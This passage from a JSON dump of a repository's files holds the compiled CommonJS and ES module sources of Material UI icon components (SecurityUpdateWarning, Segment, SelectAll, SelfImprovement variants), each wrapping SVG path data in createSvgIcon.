'SecurityUpdateWarningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"2\")], 'SecurityUpdateWarningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.01 1v22H19V1zM17 18H7V6h10z\"\n}, \"1\")], 'SecurityUpdateWarningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.01 1v22H19V1zM17 18H7V6h10z\"\n}, \"1\")], 'SecurityUpdateWarningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v6h-2zm0 8h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"3\")], 'SecurityUpdateWarningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v6h-2zm0 8h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"3\")], 'SecurityUpdateWarningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Segment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 18h12v-2H9zM3 6v2h18V6zm6 7h12v-2H9z\"\n}), 'Segment');"
  },
  {
    "path": "packages/mui-icons-material/lib/Segment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 18h12v-2H9zM3 6v2h18V6zm6 7h12v-2H9z\"\n}), 'Segment');"
  },
  {
    "path": "packages/mui-icons-material/lib/SegmentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 18h12v-2H9zM3 6v2h18V6zm6 7h12v-2H9z\"\n}), 'SegmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SegmentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 18h12v-2H9zM3 6v2h18V6zm6 7h12v-2H9z\"\n}), 'SegmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SegmentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 18h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m7 6h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'SegmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SegmentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 18h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m7 6h10c.55 0 1-.45 1-1s-.45-1-1-1H10c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'SegmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SegmentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 18h12v-2H9zM3 6v2h18V6zm6 7h12v-2H9z\"\n}), 'SegmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SegmentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 18h12v-2H9zM3 6v2h18V6zm6 7h12v-2H9z\"\n}), 'SegmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SegmentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 18h12v-2H9zM3 6v2h18V6zm6 7h12v-2H9z\"\n}), 'SegmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SegmentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 18h12v-2H9zM3 6v2h18V6zm6 7h12v-2H9z\"\n}), 'SegmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAll.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5h2V3c-1.1 0-2 .9-2 2m0 8h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zM9 3H7v2h2zm2 18h2v-2h-2zm8-8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2zm0-12h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zM7 17h10V7H7zm2-8h6v6H9z\"\n}), 'SelectAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAll.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5h2V3c-1.1 0-2 .9-2 2m0 8h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zM9 3H7v2h2zm2 18h2v-2h-2zm8-8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2zm0-12h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zM7 17h10V7H7zm2-8h6v6H9z\"\n}), 'SelectAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAllOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5h2V3c-1.1 0-2 .9-2 2m0 8h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zM9 3H7v2h2zm2 18h2v-2h-2zm8-8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2zm0-12h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zM7 17h10V7H7zm2-8h6v6H9z\"\n}), 'SelectAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAllOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5h2V3c-1.1 0-2 .9-2 2m0 8h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zM9 3H7v2h2zm2 18h2v-2h-2zm8-8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2zm0-12h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zM7 17h10V7H7zm2-8h6v6H9z\"\n}), 'SelectAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAllRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5h2V3c-1.1 0-2 .9-2 2m0 8h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zM9 3H7v2h2zm2 18h2v-2h-2zm8-8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2zm0-12h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zM8 17h8c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1m1-8h6v6H9z\"\n}), 'SelectAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAllRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5h2V3c-1.1 0-2 .9-2 2m0 8h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zM9 3H7v2h2zm2 18h2v-2h-2zm8-8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2zm0-12h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zM8 17h8c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1m1-8h6v6H9z\"\n}), 'SelectAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAllSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm6 18h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zm4 0h2V3h-2zm0 16h2v-2h-2zM3 21h2v-2H3zm4-4h10V7H7zm2-8h6v6H9z\"\n}), 'SelectAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAllSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zM3 17h2v-2H3zM9 3H7v2h2zM5 3H3v2h2zm6 18h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zm4 0h2V3h-2zm0 16h2v-2h-2zM3 21h2v-2H3zm4-4h10V7H7zm2-8h6v6H9z\"\n}), 'SelectAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAllTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5h2V3c-1.1 0-2 .9-2 2m0 8h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zM9 3H7v2h2zm2 18h2v-2h-2zm8-8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2zm0-12h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zM7 17h10V7H7zm2-8h6v6H9z\"\n}), 'SelectAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelectAllTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5h2V3c-1.1 0-2 .9-2 2m0 8h2v-2H3zm4 8h2v-2H7zM3 9h2V7H3zm10-6h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zM9 3H7v2h2zm2 18h2v-2h-2zm8-8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2zm0-12h2V7h-2zm0 8h2v-2h-2zm-4 4h2v-2h-2zm0-16h2V3h-2zM7 17h10V7H7zm2-8h6v6H9z\"\n}), 'SelectAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovement.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16v-2c-2.24 0-4.16-.96-5.6-2.68l-1.34-1.6c-.38-.46-.94-.72-1.53-.72h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6C7.16 13.04 5.24 14 3 14v2c2.77 0 5.19-1.17 7-3.25V15l-3.88 1.55c-.67.27-1.12.93-1.12 1.66C5 19.2 5.8 20 6.79 20H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.21c.99 0 1.79-.8 1.79-1.79 0-.73-.45-1.39-1.12-1.66L14 15v-2.25c1.81 2.08 4.23 3.25 7 3.25\"\n}, \"1\")], 'SelfImprovement');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovement.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16v-2c-2.24 0-4.16-.96-5.6-2.68l-1.34-1.6c-.38-.46-.94-.72-1.53-.72h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6C7.16 13.04 5.24 14 3 14v2c2.77 0 5.19-1.17 7-3.25V15l-3.88 1.55c-.67.27-1.12.93-1.12 1.66C5 19.2 5.8 20 6.79 20H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.21c.99 0 1.79-.8 1.79-1.79 0-.73-.45-1.39-1.12-1.66L14 15v-2.25c1.81 2.08 4.23 3.25 7 3.25\"\n}, \"1\")], 'SelfImprovement');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovementOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16v-2c-2.24 0-4.16-.96-5.6-2.68l-1.34-1.6c-.38-.46-.94-.72-1.53-.72h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6C7.16 13.04 5.24 14 3 14v2c2.77 0 5.19-1.17 7-3.25V15l-3.88 1.55c-.67.27-1.12.93-1.12 1.66C5 19.2 5.8 20 6.79 20H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.21c.99 0 1.79-.8 1.79-1.79 0-.73-.45-1.39-1.12-1.66L14 15v-2.25c1.81 2.08 4.23 3.25 7 3.25\"\n}, \"1\")], 'SelfImprovementOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovementOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16v-2c-2.24 0-4.16-.96-5.6-2.68l-1.34-1.6c-.38-.46-.94-.72-1.53-.72h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6C7.16 13.04 5.24 14 3 14v2c2.77 0 5.19-1.17 7-3.25V15l-3.88 1.55c-.67.27-1.12.93-1.12 1.66C5 19.2 5.8 20 6.79 20H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.21c.99 0 1.79-.8 1.79-1.79 0-.73-.45-1.39-1.12-1.66L14 15v-2.25c1.81 2.08 4.23 3.25 7 3.25\"\n}, \"1\")], 'SelfImprovementOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovementRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14.94c0-.5-.36-.93-.85-.98-1.88-.21-3.49-1.13-4.75-2.63l-1.34-1.6c-.38-.47-.94-.73-1.53-.73h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6c-1.25 1.5-2.87 2.42-4.75 2.63-.5.06-.86.49-.86.99 0 .6.53 1.07 1.13 1 2.3-.27 4.32-1.39 5.87-3.19V15l-3.76 1.5c-.65.26-1.16.83-1.23 1.53-.1 1.07.73 1.97 1.78 1.97H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.1c.85 0 1.65-.54 1.85-1.37.21-.89-.27-1.76-1.08-2.08L14 15v-2.25c1.56 1.8 3.57 2.91 5.87 3.19.6.06 1.13-.4 1.13-1\"\n}, \"1\")], 'SelfImprovementRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovementRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14.94c0-.5-.36-.93-.85-.98-1.88-.21-3.49-1.13-4.75-2.63l-1.34-1.6c-.38-.47-.94-.73-1.53-.73h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6c-1.25 1.5-2.87 2.42-4.75 2.63-.5.06-.86.49-.86.99 0 .6.53 1.07 1.13 1 2.3-.27 4.32-1.39 5.87-3.19V15l-3.76 1.5c-.65.26-1.16.83-1.23 1.53-.1 1.07.73 1.97 1.78 1.97H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.1c.85 0 1.65-.54 1.85-1.37.21-.89-.27-1.76-1.08-2.08L14 15v-2.25c1.56 1.8 3.57 2.91 5.87 3.19.6.06 1.13-.4 1.13-1\"\n}, \"1\")], 'SelfImprovementRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SelfImprovementSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16v-2c-2.24 0-4.16-.96-5.6-2.68l-1.34-1.6c-.38-.46-.94-.72-1.53-.72h-1.05c-.59 0-1.15.26-1.53.72l-1.34 1.6C7.16 13.04 5.24 14 3 14v2c2.77 0 5.19-1.17 7-3.25V15l-3.88 1.55c-.67.27-1.12.93-1.12 1.66C5 19.2 5.8 20 6.79 20H9v-.5c0-1.38 1.12-2.5 2.5-2.5h3c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.83 0-1.5.67-1.5 1.5v.5h7.21c.99 0 1.79-.8 